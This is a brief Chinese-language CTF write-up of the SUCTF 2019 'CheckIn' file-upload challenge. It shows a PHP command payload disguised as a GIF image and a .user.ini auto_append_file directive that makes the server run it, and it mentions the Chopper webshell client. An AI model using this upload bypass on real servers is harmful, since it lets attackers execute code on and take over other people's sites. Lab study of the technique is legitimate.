SUCTF-2019-CheckIn

[SUCTF 2019]CheckIn

1.题目：文件上传利用.user.ini

2.过程：

em，这道题把前面的知识点基本上都概括了……但是文件后缀的检查一直无法绕过，学习了一波……

关于.user.ini文件的知识：

dalao的文章解释的很清楚

更加细化的说明

如果要用到.user.ini,特征之一就是在上传到.user.ini的文件夹下，也要有可执行的正常php文件。

这道题的文件结构恰好是这样的（太恰好了……）

所以常规绕过上传一个jpg结尾的图片一句话木马，在上传.user.ini对图片包含在php文件中解析

GIF89a
<script language='php'>system('cat /flag'); 

GIF89a

auto_append_file=a.jpg

访问时就自动执行查出flag

唉，用菜刀一直连不上去……